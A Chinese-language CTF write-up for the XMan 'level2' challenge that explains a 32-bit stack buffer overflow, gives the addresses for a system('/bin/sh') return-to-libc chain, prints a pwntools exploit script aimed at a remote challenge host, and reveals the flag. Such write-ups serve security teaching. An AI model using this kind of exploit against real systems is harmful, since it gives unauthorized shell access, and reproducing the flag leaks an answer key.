CTF – XMan – level2

题目说明

题目来源: XMan

题目: level2

read() 栈溢出 ROP 执行语句

解题步骤

拿到文件后先查看文件类型是32位的elf文件

检查安全机制没有什么,只是开了NX

使用IDA32打开看到流程图

查看字符串列表

找到关键词进入主函数伪代码

查看vulerable_function()函数伪代码

程序列表中存在system()函数

可以构造system(‘/bin/sh’)以获得shell
首先得到system()函数的地址 0x08048320
然后得到’/bin/sh’字符串的地址 0x0804A024

Payload构成: 0x88填充buf + 0x4填充EBP + system()函数地址覆盖EIP + 0x4任意返回地址 + ‘/bin/sh’字符串地址

写出exp

1
2
3
4
5
6
7
from pwn import *
p = remote('111.198.29.45','51003')
sys = p32(0x08048320)
bin = p32(0x0804A024)
p.recvline()
p.sendline('A'*0x88 + 'A'*0x4 + sys + 'A'*0x4 + bin)
p.interactive()

运行得到flag

flag:

1
cyberpeace{5eb09301fba932665619d91d17388aa5}